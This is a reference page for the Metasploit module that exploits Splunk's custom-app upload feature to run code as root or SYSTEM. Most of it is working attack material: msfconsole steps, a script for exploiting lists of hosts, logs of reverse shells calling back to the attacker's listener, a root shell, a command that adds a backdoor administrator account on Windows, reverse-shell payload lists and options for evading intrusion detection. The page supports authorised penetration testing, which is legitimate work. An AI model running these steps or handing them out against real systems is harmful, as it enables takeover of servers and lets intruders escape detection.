Splunk Custom App Remote Code Execution - Metasploit


This page contains detailed information about how to use the exploit/multi/http/splunk_upload_app_exec metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Table Of Contents
hide

Module Overview

Name: Splunk Custom App Remote Code Execution
Module: exploit/multi/http/splunk_upload_app_exec
Source code: modules/exploits/multi/http/splunk_upload_app_exec.rb
Disclosure date: 2012-09-27
Last modification time: 2020-10-02 17:38:06 +0000
Supported architecture(s): -
Supported platform(s): Linux, OSX, Unix, Windows
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: -

This module exploits a feature of Splunk whereby a custom application can be uploaded through the web based interface. Through the 'script' search command a user can call commands defined in their custom application which includes arbitrary perl or python code. To abuse this behavior, a valid Splunk user with the admin role is required. By default, this module uses the credential of "admin:changeme", the default Administrator credential for Splunk. Note that the Splunk web interface runs as SYSTEM on Windows, or as root on Linux by default. This module has been tested successfully against Splunk 5.0, 6.1, 6.1.1 and 7.2.4. Version 7.2.4 has been tested successfully against OSX as well

Module Ranking and Traits

Module Ranking:

  • good: The exploit has a default target and it is the "common case" for this type of software (English, Windows 7 for a desktop app, 2012 for server, etc). More information about ranking can be found here.

Basic Usage

Using splunk_upload_app_exec against a single host

Normally, you can use exploit/multi/http/splunk_upload_app_exec this way:

msf > use exploit/multi/http/splunk_upload_app_exec
msf exploit(splunk_upload_app_exec) > show targets
    ... a list of targets ...
msf exploit(splunk_upload_app_exec) > set TARGET target-id
msf exploit(splunk_upload_app_exec) > show options
    ... show and set options ...
msf exploit(splunk_upload_app_exec) > exploit

Using splunk_upload_app_exec against multiple hosts

But it looks like this is a remote exploit module, which means you can also engage multiple hosts.

First, create a list of IPs you wish to exploit with this module. One IP per line.

Second, set up a background payload listener. This payload should be the same as the one your splunk_upload_app_exec will be using:

  1. Do: use exploit/multi/handler
  2. Do: set PAYLOAD [payload]
  3. Set other options required by the payload
  4. Do: set EXITONSESSION false
  5. Do: run -j

At this point, you should have a payload listening.

Next, create the following script. Notice you will probably need to modify the ip_list path, and payload options accordingly:

<ruby>
#
# Modify the path if necessary
#
ip_list = '/tmp/ip_list.txt'

File.open(ip_list, 'rb').each_line do |ip|
  print_status("Trying against #{ip}")
  run_single("use exploit/multi/http/splunk_upload_app_exec")
  run_single("set RHOST #{ip}")
  run_single("set DisablePayloadHandler true")

  #
  # Set a payload that's the same as the handler.
  # You might also need to add more run_single commands to configure other
  # payload options.
  #
  run_single("set PAYLOAD [payload name]")

  run_single("run")
end
</ruby>

Next, run the resource script in the console:

msf > resource [path-to-resource-script]

And finally, you should see that the exploit is trying against those hosts similar to the following MS08-067 example:

msf > resource /tmp/exploit_hosts.rc
[*] Processing /tmp/exploit_hosts.rc for ERB directives.
[*] resource (/tmp/exploit_hosts.rc)> Ruby Code (402 bytes)
[*] Trying against 192.168.1.80

RHOST => 192.168.1.80
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199

[*] 192.168.1.80:445 - Automatically detecting the target...
[*] 192.168.1.80:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] 192.168.1.80:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX)
[*] 192.168.1.80:445 - Attempting to trigger the vulnerability...
[*] Sending stage (957999 bytes) to 192.168.1.80
[*] Trying against 192.168.1.109
RHOST => 192.168.1.109
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.109:445 - Automatically detecting the target...
[*] 192.168.1.109:445 - Fingerprint: Windows 2003 - Service Pack 2 - lang:Unknown
[*] 192.168.1.109:445 - We could not detect the language pack, defaulting to English
[*] 192.168.1.109:445 - Selected Target: Windows 2003 SP2 English (NX)
[*] 192.168.1.109:445 - Attempting to trigger the vulnerability...
[*] Meterpreter session 1 opened (192.168.1.199:4444 -> 192.168.1.80:1071) at 2016-03-02 19:32:49 -0600

[*] Sending stage (957999 bytes) to 192.168.1.109
[*] Meterpreter session 2 opened (192.168.1.199:4444 -> 192.168.1.109:4626) at 2016-03-02 19:32:52 -0600

Required Options

  • RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'

Knowledge Base

Vulnerable Application

This module exploits a feature of Splunk whereby a custom application can be uploaded through the web based interface. Through the script search command a user can call commands defined in their custom application which includes arbitrary perl or python code. To abuse this behavior, a valid Splunk user with the admin role is required. By default, this module uses the credential of "admin:changeme", the default Administrator credential for Splunk. Note that the Splunk web interface runs as SYSTEM on Windows, or as root on Linux by default. This module has been tested successfully against:

Verification Steps

  1. Start msfconsole
  2. Do: use exploit/multi/http/splunk_upload_app_exec
  3. Set required variables (you will need admin credentials)
  4. Do: SET LHOST [ip]
  5. Do: SET RHOST [ip]

  6. Set a payload:

    • If targeting linux or macos the payload cmd/unix/reverse_python will be automatically selected.
    • If targeting windows the payload cmd/windows/adduser will be automatically selected.

  7. You should get either a reverse shell on port 4444 via the predefined handler (Linux/OSX) or a new user in case (windows target)

External Demo

Options

EnableOverwrite Overwrites an app of the same name. Needed if you change the app code in the tgz. Default is false

USERNAME Username for Splunk. Default is admin

PASSWORD Default is changeme

Scenarios

Tested against 7.2.4 running on OSX 10.14.3

msf5 exploit(multi/http/splunk_upload_app_exec) >
msf5 exploit(multi/http/splunk_upload_app_exec) > set RHOST 172.16.165.1
RHOST => 172.16.165.1
msf5 exploit(multi/http/splunk_upload_app_exec) > set password splunksplunk
password => splunksplunk
msf5 exploit(multi/http/splunk_upload_app_exec) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   Automatic
   1   Splunk >= 7.2.4 / Linux
   2   Splunk >= 7.2.4 / Windows
   3   Splunk >= 7.2.4 / OSX
   4   Splunk >= 5.0.1 / Linux
   5   Splunk >= 5.0.1 / Windows


msf5 exploit(multi/http/splunk_upload_app_exec) > set target 3
target => 3
msf5 exploit(multi/http/splunk_upload_app_exec) > exploit

[*] Started reverse TCP double handler on 172.16.165.206:4444
[*] Using command: sh -c '(sleep 3733|telnet 172.16.165.206 4444|while : ; do sh && break; done 2>&1|telnet 172.16.165.206 4444 >/dev/null 2>&1 &)'
[*] Authenticating...
[*] Fetching state token from /en-US/manager/appinstall/_upload
[*] Uploading file upload_app_exec.tgz
[+] upload_app_exec successfully uploaded
[*] Invoking script command
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo 8kNbt70jYB3aJKPm;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket A
[*] A: "sh: line 2: Connected: command not found\r\nsh: line 3: Escape: command not found\r\n8kNbt70jYB3aJKPm\r\n"
[*] Matching...
[*] B is input...
[*] Command shell session 1 opened (172.16.165.206:4444 -> 172.16.165.1:51512) at 2019-03-17 22:12:33 +0100

Tested against splunk-5.0.1-143156 on Ubuntu 10.04

msf > use exploit/multi/http/splunk_upload_app_exec 
msf  exploit(splunk_upload_app_exec) > show options

Module options (exploit/multi/http/splunk_upload_app_exec):

   Name             Current Setting                                                                         Required  Description
   ----             ---------------                                                                         --------  -----------
   PASSWORD         changeme                                                                                yes       The password for the specified username
   Proxies                                                                                                  no        Use a proxy chain
   RHOST                                                                                                    yes       The target address
   RPORT            8000                                                                                    yes       The target port
   SPLUNK_APP_FILE  /Users/juan/Projects/git/metasploit-framework/data/exploits/splunk/upload_app_exec.tgz  yes       The "rogue" Splunk application tgz
   USERNAME         admin                                                                                   yes       The username with admin role to authenticate as
   VHOST                                                                                                    no        HTTP server virtual host


Exploit target:

   Id  Name
   --  ----
   0   Splunk 5.0.1 / Linux


msf  exploit(splunk_upload_app_exec) > set RHOST 192.168.1.137
RHOST => 192.168.1.137
msf  exploit(splunk_upload_app_exec) > rexploit
[*] Reloading module...

[*] Using command: sh -c '(sleep 4597|telnet 192.168.1.129 4444|while : ; do sh && break; done 2>&1|telnet 192.168.1.129 4444 >/dev/null 2>&1 &)'
[*] Authenticating...
[*] Started reverse double handler
[*] Fetching csrf token from /en-US/manager/launcher/apps/local
[*] Uploading file upload_app_exec.tgz
[*] upload_app_exec successfully uploaded
[*] Fetching csrf token from /en-US/app/upload_app_exec/flashtimeline
[*] Invoking script command
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo uyYJGuNfu2AetK0N;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket A
[*] A: "uyYJGuNfu2AetK0N\r\n"
[*] Matching...
[*] B is input...
[*] Command shell session 1 opened (192.168.1.129:4444 -> 192.168.1.137:41432) at 2012-12-07 11:53:35 +0100

id
uid=0(root) gid=0(root) groups=0(root)

Tested against splunk-5.0.1-143156 on Windows XP

msf  exploit(splunk_upload_app_exec) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   Splunk 5.0.1 / Linux
   1   Splunk 5.0.1 / Windows


msf  exploit(splunk_upload_app_exec) > set target 1
target => 1
msf  exploit(splunk_upload_app_exec) > set payload cmd/windows/adduser 
payload => cmd/windows/adduser
msf  exploit(splunk_upload_app_exec) > show options

Module options (exploit/multi/http/splunk_upload_app_exec):

   Name             Current Setting                                                                         Required  Description
   ----             ---------------                                                                         --------  -----------
   PASSWORD         changeme                                                                                yes       The password for the specified username
   Proxies                                                                                                  no        Use a proxy chain
   RHOST            192.168.1.137                                                                           yes       The target address
   RPORT            8000                                                                                    yes       The target port
   SPLUNK_APP_FILE  /Users/juan/Projects/git/metasploit-framework/data/exploits/splunk/upload_app_exec.tgz  yes       The "rogue" Splunk application tgz
   USERNAME         admin                                                                                   yes       The username with admin role to authenticate as
   VHOST                                                                                                    no        HTTP server virtual host


Payload options (cmd/windows/adduser):

   Name    Current Setting  Required  Description
   ----    ---------------  --------  -----------
   CUSTOM                   no        Custom group name to be used instead of default
   PASS    Metasploit$1     yes       The password for this user
   USER    metasploit       yes       The username to create
   WMIC    false            yes       Use WMIC on the target to resolve administrators group


Exploit target:

   Id  Name
   --  ----
   1   Splunk 5.0.1 / Windows


msf  exploit(splunk_upload_app_exec) > rexploit
[*] Reloading module...

[*] Using command: cmd.exe /c net user metasploit Metasploit$1 /ADD && net localgroup Administrators metasploit /ADD
[*] Authenticating...
[*] Fetching csrf token from /en-US/manager/launcher/apps/local
[*] Uploading file upload_app_exec.tgz
[*] upload_app_exec successfully uploaded
[*] Fetching csrf token from /en-US/app/upload_app_exec/flashtimeline
[*] Invoking script command

After that, on the victim machine:

C:\Documents and Settings\Administrator>net user metasploit
User name                    metasploit
Full Name
Comment
User's comment
Country code                 000 (System Default)
Account active               Yes
Account expires              Never

Password last set            12/6/2012 11:19 PM
Password expires             1/18/2013 10:07 PM
Password changeable          12/6/2012 11:19 PM
Password required            Yes
User may change password     Yes

Workstations allowed         All
Logon script
User profile
Home directory
Last logon                   Never

Logon hours allowed          All

Local Group Memberships      *Administrators       *Users
Global Group memberships     *None
The command completed successfully.


C:\Documents and Settings\Administrator>

Go back to menu.

Msfconsole Usage

Here is how the multi/http/splunk_upload_app_exec exploit module looks in the msfconsole:

msf6 > use exploit/multi/http/splunk_upload_app_exec

[*] Using configured payload cmd/unix/reverse_python
msf6 exploit(multi/http/splunk_upload_app_exec) > show info

       Name: Splunk Custom App Remote Code Execution
     Module: exploit/multi/http/splunk_upload_app_exec
   Platform: Linux, Unix, Windows, OSX
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Good
  Disclosed: 2012-09-27

Provided by:
  marcwickenden
  sinn3r <[email protected]>
  juan vazquez <[email protected]>
  Gary Blosser
  Matteo Malvica

Available targets:
  Id  Name
  --  ----
  0   Automatic
  1   Splunk >= 7.2.4 / Linux
  2   Splunk >= 7.2.4 / Windows
  3   Splunk >= 7.2.4 / OSX
  4   Splunk >= 5.0.1 / Linux
  5   Splunk >= 5.0.1 / Windows

Check supported:
  Yes

Basic options:
  Name             Current Setting                                                                        Required  Description
  ----             ---------------                                                                        --------  -----------
  PASSWORD         changeme                                                                               yes       The password for the specified username
  Proxies                                                                                                 no        A proxy chain of format type:host:port[,type:host:port][...]
  RHOSTS                                                                                                  yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
  RPORT            8000                                                                                   yes       The target port (TCP)
  SPLUNK_APP_FILE  /opt/metasploit-framework/embedded/framework/data/exploits/splunk/upload_app_exec.tgz  yes       The "rogue" Splunk application tgz
  SSL              false                                                                                  no        Negotiate SSL/TLS for outgoing connections
  USERNAME         admin                                                                                  yes       The username with admin role to authenticate as
  VHOST                                                                                                   no        HTTP server virtual host

Payload information:
  Space: 1024

Description:
  This module exploits a feature of Splunk whereby a custom 
  application can be uploaded through the web based interface. Through 
  the 'script' search command a user can call commands defined in 
  their custom application which includes arbitrary perl or python 
  code. To abuse this behavior, a valid Splunk user with the admin 
  role is required. By default, this module uses the credential of 
  "admin:changeme", the default Administrator credential for Splunk. 
  Note that the Splunk web interface runs as SYSTEM on Windows, or as 
  root on Linux by default. This module has been tested successfully 
  against Splunk 5.0, 6.1, 6.1.1 and 7.2.4. Version 7.2.4 has been 
  tested successfully against OSX as well

References:
  http://blog.7elements.co.uk/2012/11/splunk-with-great-power-comes-great-responsibility.html
  http://blog.7elements.co.uk/2012/11/abusing-splunk-with-metasploit.html
  http://docs.splunk.com/Documentation/Splunk/latest/SearchReference/Script

Module Options

This is a complete list of options available in the multi/http/splunk_upload_app_exec exploit:

msf6 exploit(multi/http/splunk_upload_app_exec) > show options

Module options (exploit/multi/http/splunk_upload_app_exec):

   Name             Current Setting                                                                        Required  Description
   ----             ---------------                                                                        --------  -----------
   PASSWORD         changeme                                                                               yes       The password for the specified username
   Proxies                                                                                                 no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                                                                                                  yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT            8000                                                                                   yes       The target port (TCP)
   SPLUNK_APP_FILE  /opt/metasploit-framework/embedded/framework/data/exploits/splunk/upload_app_exec.tgz  yes       The "rogue" Splunk application tgz
   SSL              false                                                                                  no        Negotiate SSL/TLS for outgoing connections
   USERNAME         admin                                                                                  yes       The username with admin role to authenticate as
   VHOST                                                                                                   no        HTTP server virtual host

Payload options (cmd/unix/reverse_python):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST                   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port
   SHELL  /bin/bash        yes       The system shell to use.

Exploit target:

   Id  Name
   --  ----
   0   Automatic

Advanced Options

Here is a complete list of advanced options supported by the multi/http/splunk_upload_app_exec exploit:

msf6 exploit(multi/http/splunk_upload_app_exec) > show advanced

Module advanced options (exploit/multi/http/splunk_upload_app_exec):

   Name                    Current Setting                                     Required  Description
   ----                    ---------------                                     --------  -----------
   CommandOutputDelay      5                                                   yes       Seconds to wait before requesting command output from Splunk
   ContextInformationFile                                                      no        The information file that contains context information
   DOMAIN                  WORKSTATION                                         yes       The domain to use for Windows authentication
   DigestAuthIIS           true                                                no        Conform to IIS, should work for most servers. Only set to false for non-IIS servers
   DisablePayloadHandler   false                                               no        Disable the handler code for the selected payload
   DisableUpload           false                                               yes       Disable the app upload if you have already performed it once
   EnableContextEncoding   false                                               no        Use transient context when encoding payloads
   EnableOverwrite         false                                               yes       Overwrites an app of the same name. Needed if you change the app code in the tgz
   FingerprintCheck        true                                                no        Conduct a pre-exploit fingerprint verification
   HttpClientTimeout                                                           no        HTTP connection and receive timeout
   HttpPassword                                                                no        The HTTP password to specify for authentication
   HttpRawHeaders                                                              no        Path to ERB-templatized raw headers to append to existing headers
   HttpTrace               false                                               no        Show the raw HTTP requests and responses
   HttpTraceColors         red/blu                                             no        HTTP request and response colors for HttpTrace (unset to disable)
   HttpTraceHeadersOnly    false                                               no        Show HTTP headers only in HttpTrace
   HttpUsername                                                                no        The HTTP username to specify for authentication
   ReturnOutput            false                                               yes       Display command output
   SSLVersion              Auto                                                yes       Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
   UserAgent               Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)  no        The User-Agent header to use for all requests
   VERBOSE                 false                                               no        Enable detailed status messages
   WORKSPACE                                                                   no        Specify the workspace for this module
   WfsDelay                2                                                   no        Additional delay in seconds to wait for a session

Payload advanced options (cmd/unix/reverse_python):

   Name                        Current Setting  Required  Description
   ----                        ---------------  --------  -----------
   AutoRunScript                                no        A script to run automatically on session creation.
   AutoVerifySession           true             yes       Automatically verify and drop invalid sessions
   CommandShellCleanupCommand                   no        A command to run before the session is closed
   CreateSession               true             no        Create a new session for every successful login
   InitialAutoRunScript                         no        An initial script to run on session creation (before AutoRunScript)
   ReverseAllowProxy           false            yes       Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
   ReverseListenerBindAddress                   no        The specific IP address to bind to on the local system
   ReverseListenerBindPort                      no        The port to bind to on the local system if different from LPORT
   ReverseListenerComm                          no        The specific communication channel to use for this listener
   ReverseListenerThreaded     false            yes       Handle every connection in a new thread (experimental)
   StagerRetryCount            10               no        The number of times the stager should retry if the first connect fails
   StagerRetryWait             5                no        Number of seconds to wait for the stager between reconnect attempts
   VERBOSE                     false            no        Enable detailed status messages
   WORKSPACE                                    no        Specify the workspace for this module

Exploit Targets

Here is a list of targets (platforms and systems) which the multi/http/splunk_upload_app_exec module can exploit:

msf6 exploit(multi/http/splunk_upload_app_exec) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   Automatic
   1   Splunk >= 7.2.4 / Linux
   2   Splunk >= 7.2.4 / Windows
   3   Splunk >= 7.2.4 / OSX
   4   Splunk >= 5.0.1 / Linux
   5   Splunk >= 5.0.1 / Windows

Compatible Payloads

This is a list of possible payloads which can be delivered and executed on the target system using the multi/http/splunk_upload_app_exec exploit:

msf6 exploit(multi/http/splunk_upload_app_exec) > show payloads

Compatible Payloads
===================

   #   Name                                        Disclosure Date  Rank    Check  Description
   -   ----                                        ---------------  ----    -----  -----------
   0   payload/cmd/unix/bind_awk                                    normal  No     Unix Command Shell, Bind TCP (via AWK)
   1   payload/cmd/unix/bind_busybox_telnetd                        normal  No     Unix Command Shell, Bind TCP (via BusyBox telnetd)
   2   payload/cmd/unix/bind_jjs                                    normal  No     Unix Command Shell, Bind TCP (via jjs)
   3   payload/cmd/unix/bind_lua                                    normal  No     Unix Command Shell, Bind TCP (via Lua)
   4   payload/cmd/unix/bind_netcat                                 normal  No     Unix Command Shell, Bind TCP (via netcat)
   5   payload/cmd/unix/bind_netcat_gaping                          normal  No     Unix Command Shell, Bind TCP (via netcat -e)
   6   payload/cmd/unix/bind_netcat_gaping_ipv6                     normal  No     Unix Command Shell, Bind TCP (via netcat -e) IPv6
   7   payload/cmd/unix/bind_perl                                   normal  No     Unix Command Shell, Bind TCP (via Perl)
   8   payload/cmd/unix/bind_perl_ipv6                              normal  No     Unix Command Shell, Bind TCP (via perl) IPv6
   9   payload/cmd/unix/bind_r                                      normal  No     Unix Command Shell, Bind TCP (via R)
   10  payload/cmd/unix/bind_ruby                                   normal  No     Unix Command Shell, Bind TCP (via Ruby)
   11  payload/cmd/unix/bind_ruby_ipv6                              normal  No     Unix Command Shell, Bind TCP (via Ruby) IPv6
   12  payload/cmd/unix/bind_socat_udp                              normal  No     Unix Command Shell, Bind UDP (via socat)
   13  payload/cmd/unix/bind_stub                                   normal  No     Unix Command Shell, Bind TCP (stub)
   14  payload/cmd/unix/bind_zsh                                    normal  No     Unix Command Shell, Bind TCP (via Zsh)
   15  payload/cmd/unix/generic                                     normal  No     Unix Command, Generic Command Execution
   16  payload/cmd/unix/pingback_bind                               normal  No     Unix Command Shell, Pingback Bind TCP (via netcat)
   17  payload/cmd/unix/pingback_reverse                            normal  No     Unix Command Shell, Pingback Reverse TCP (via netcat)
   18  payload/cmd/unix/reverse                                     normal  No     Unix Command Shell, Double Reverse TCP (telnet)
   19  payload/cmd/unix/reverse_awk                                 normal  No     Unix Command Shell, Reverse TCP (via AWK)
   20  payload/cmd/unix/reverse_bash                                normal  No     Unix Command Shell, Reverse TCP (/dev/tcp)
   21  payload/cmd/unix/reverse_bash_telnet_ssl                     normal  No     Unix Command Shell, Reverse TCP SSL (telnet)
   22  payload/cmd/unix/reverse_bash_udp                            normal  No     Unix Command Shell, Reverse UDP (/dev/udp)
   23  payload/cmd/unix/reverse_jjs                                 normal  No     Unix Command Shell, Reverse TCP (via jjs)
   24  payload/cmd/unix/reverse_ksh                                 normal  No     Unix Command Shell, Reverse TCP (via Ksh)
   25  payload/cmd/unix/reverse_lua                                 normal  No     Unix Command Shell, Reverse TCP (via Lua)
   26  payload/cmd/unix/reverse_ncat_ssl                            normal  No     Unix Command Shell, Reverse TCP (via ncat)
   27  payload/cmd/unix/reverse_netcat                              normal  No     Unix Command Shell, Reverse TCP (via netcat)
   28  payload/cmd/unix/reverse_netcat_gaping                       normal  No     Unix Command Shell, Reverse TCP (via netcat -e)
   29  payload/cmd/unix/reverse_openssl                             normal  No     Unix Command Shell, Double Reverse TCP SSL (openssl)
   30  payload/cmd/unix/reverse_perl                                normal  No     Unix Command Shell, Reverse TCP (via Perl)
   31  payload/cmd/unix/reverse_perl_ssl                            normal  No     Unix Command Shell, Reverse TCP SSL (via perl)
   32  payload/cmd/unix/reverse_php_ssl                             normal  No     Unix Command Shell, Reverse TCP SSL (via php)
   33  payload/cmd/unix/reverse_python                              normal  No     Unix Command Shell, Reverse TCP (via Python)
   34  payload/cmd/unix/reverse_python_ssl                          normal  No     Unix Command Shell, Reverse TCP SSL (via python)
   35  payload/cmd/unix/reverse_r                                   normal  No     Unix Command Shell, Reverse TCP (via R)
   36  payload/cmd/unix/reverse_ruby                                normal  No     Unix Command Shell, Reverse TCP (via Ruby)
   37  payload/cmd/unix/reverse_ruby_ssl                            normal  No     Unix Command Shell, Reverse TCP SSL (via Ruby)
   38  payload/cmd/unix/reverse_socat_udp                           normal  No     Unix Command Shell, Reverse UDP (via socat)
   39  payload/cmd/unix/reverse_ssh                                 normal  No     Unix Command Shell, Reverse TCP SSH
   40  payload/cmd/unix/reverse_ssl_double_telnet                   normal  No     Unix Command Shell, Double Reverse TCP SSL (telnet)
   41  payload/cmd/unix/reverse_stub                                normal  No     Unix Command Shell, Reverse TCP (stub)
   42  payload/cmd/unix/reverse_tclsh                               normal  No     Unix Command Shell, Reverse TCP (via Tclsh)
   43  payload/cmd/unix/reverse_zsh                                 normal  No     Unix Command Shell, Reverse TCP (via Zsh)
   44  payload/generic/custom                                       normal  No     Custom Payload
   45  payload/generic/shell_bind_tcp                               normal  No     Generic Command Shell, Bind TCP Inline
   46  payload/generic/shell_reverse_tcp                            normal  No     Generic Command Shell, Reverse TCP Inline

Evasion Options

Here is the full list of possible evasion options supported by the multi/http/splunk_upload_app_exec exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 exploit(multi/http/splunk_upload_app_exec) > show evasion

Module evasion options:

   Name                          Current Setting  Required  Description
   ----                          ---------------  --------  -----------
   HTTP::header_folding          false            no        Enable folding of HTTP headers
   HTTP::method_random_case      false            no        Use random casing for the HTTP method
   HTTP::method_random_invalid   false            no        Use a random invalid, HTTP method for request
   HTTP::method_random_valid     false            no        Use a random, but valid, HTTP method for request
   HTTP::pad_fake_headers        false            no        Insert random, fake headers into the HTTP request
   HTTP::pad_fake_headers_count  0                no        How many fake headers to insert into the HTTP request
   HTTP::pad_get_params          false            no        Insert random, fake query string variables into the request
   HTTP::pad_get_params_count    16               no        How many fake query string variables to insert into the request
   HTTP::pad_method_uri_count    1                no        How many whitespace characters to use between the method and uri
   HTTP::pad_method_uri_type     space            no        What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
   HTTP::pad_post_params         false            no        Insert random, fake post variables into the request
   HTTP::pad_post_params_count   16               no        How many fake post variables to insert into the request
   HTTP::pad_uri_version_count   1                no        How many whitespace characters to use between the uri and version
   HTTP::pad_uri_version_type    space            no        What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
   HTTP::uri_dir_fake_relative   false            no        Insert fake relative directories into the uri
   HTTP::uri_dir_self_reference  false            no        Insert self-referential directories into the uri
   HTTP::uri_encode_mode         hex-normal       no        Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
   HTTP::uri_fake_end            false            no        Add a fake end of URI (eg: /%20HTTP/1.0/../../)
   HTTP::uri_fake_params_start   false            no        Add a fake start of params to the URI (eg: /%3fa=b/../)
   HTTP::uri_full_url            false            no        Use the full URL for all HTTP requests
   HTTP::uri_use_backslashes     false            no        Use back slashes instead of forward slashes in the uri
   HTTP::version_random_invalid  false            no        Use a random invalid, HTTP version for request
   HTTP::version_random_valid    false            no        Use a random, but valid, HTTP version for request

Go back to menu.

Error Messages

This module may fail with the following error messages:

Error Messages

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

No output returned in time

Here is a relevant code snippet related to the "No output returned in time" error message:

227:	      # wait a short time to let the output be produced
228:	      print_status("Waiting for #{command_output_delay} seconds to retrieve command output")
229:	      select(nil, nil, nil, command_output_delay)
230:	      job_output = fetch_job_output(job_id)
231:	      if job_output.body.match(/Waiting for data.../)
232:	        print_status("No output returned in time")
233:	      else
234:	        output = ""
235:	        job_output.body.each_line do |line|
236:	          # strip off the leading and trailing " added by Splunk
237:	          line.gsub!(/^"/, "")

Unable to get session cookies

Here is a relevant code snippet related to the "Unable to get session cookies" error message:

288:	            session_id = v.split('=')[1]
289:	          end
290:	        end
291:	      end
292:	    else
293:	      fail_with(Failure::NotFound, "Unable to get session cookies")
294:	    end
295:	
296:	    res = send_request_cgi(
297:	      'uri'     => '/en-US/account/login',
298:	      'method'  => 'POST',

No response

Here is a relevant code snippet related to the "No response" error message:

304:	          'password' => @password
305:	        }
306:	    )
307:	
308:	    if !res
309:	      fail_with(Failure::Unreachable, "No response")
310:	    elsif res.code != 200
311:	       fail_with(Failure::Unreachable, "Authentication failed")
312:	
313:	    elsif @ver7 == true
314:	        splunkweb_csrf_token_8000_port = ''

Authentication failed

Here is a relevant code snippet related to the "Authentication failed" error message:

306:	    )
307:	
308:	    if !res
309:	      fail_with(Failure::Unreachable, "No response")
310:	    elsif res.code != 200
311:	       fail_with(Failure::Unreachable, "Authentication failed")
312:	
313:	    elsif @ver7 == true
314:	        splunkweb_csrf_token_8000_port = ''
315:	        @splunkweb_csrf_token_8000_id = ''
316:	        splunkd_8000_port = ''

Error uploading

Here is a relevant code snippet related to the "Error uploading" error message:

379:	      }, 30)
380:	
381:	    if res && (res.code == 303 || (res.code == 200 && res.body !~ /There was an error processing the upload/))
382:	      print_good("#{app_name} successfully uploaded")
383:	    else
384:	      fail_with(Failure::Unknown, "Error uploading")
385:	    end
386:	  end
387:	
388:	   # version  7.2.x only
389:	  def do_upload_app_7(app_name, file_name)

Connection failed

Here is a relevant code snippet related to the "Connection failed" error message:

416:	        'ctype' => "multipart/form-data; boundary=#{boundary}",
417:	        'data' => data
418:	      }, 30)
419:	
420:	    unless res
421:	      fail_with(Failure::Unreachable, "Connection failed")
422:	    end
423:	
424:	    unless res.code == 303 || res.code == 200
425:	      fail_with(Failure::UnexpectedReply, "Unexpected reply (HTTP #{res.code})")
426:	    end

Unexpected reply (HTTP <RES.CODE>)

Here is a relevant code snippet related to the "Unexpected reply (HTTP <RES.CODE>)" error message:

420:	    unless res
421:	      fail_with(Failure::Unreachable, "Connection failed")
422:	    end
423:	
424:	    unless res.code == 303 || res.code == 200
425:	      fail_with(Failure::UnexpectedReply, "Unexpected reply (HTTP #{res.code})")
426:	    end
427:	
428:	    if res.body.include?('There was an error processing the upload')
429:	      fail_with(Failure::Unknown, "Error uploading")
430:	    end

There was an error processing the upload

Here is a relevant code snippet related to the "There was an error processing the upload" error message:

423:	
424:	    unless res.code == 303 || res.code == 200
425:	      fail_with(Failure::UnexpectedReply, "Unexpected reply (HTTP #{res.code})")
426:	    end
427:	
428:	    if res.body.include?('There was an error processing the upload')
429:	      fail_with(Failure::Unknown, "Error uploading")
430:	    end
431:	
432:	    print_good("#{app_name} successfully uploaded")
433:

Error uploading

Here is a relevant code snippet related to the "Error uploading" error message:

424:	    unless res.code == 303 || res.code == 200
425:	      fail_with(Failure::UnexpectedReply, "Unexpected reply (HTTP #{res.code})")
426:	    end
427:	
428:	    if res.body.include?('There was an error processing the upload')
429:	      fail_with(Failure::Unknown, "Error uploading")
430:	    end
431:	
432:	    print_good("#{app_name} successfully uploaded")
433:	
434:	  end

csrf form Key not found

Here is a relevant code snippet related to the "csrf form Key not found" error message:

451:	            @csrf_form_key = v.split('=')[1]
452:	          end
453:	        end
454:	      end
455:	    end
456:	    fail_with(Failure::Unknown, "csrf form Key not found") unless @csrf_form_key
457:	  end
458:	
459:	  # version  7.2.x only
460:	  def do_get_state_token(uri)
461:	    print_status("Fetching state token from #{uri}")

state token form Key not found

Here is a relevant code snippet related to the "state token form Key not found" error message:

467:	    #puts res
468:	    res.body.match('name=\"state\" value="(.*)"') # Version 5
469:	    @state_token = Regexp.last_match(1)
470:	
471:	    unless @state_token
472:	      fail_with(Failure::Unknown, "state token form Key not found")
473:	    end
474:	  end
475:	
476:	  def fetch_job_output(job_id)
477:	    # fetch the output of our job id as csv for easy parsing

Go back to menu.

References

See Also

Check also the following modules related to this module:

Authors

  • marcwickenden
  • sinn3r
  • juan vazquez
  • Gary Blosser
  • Matteo Malvica

Version

This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.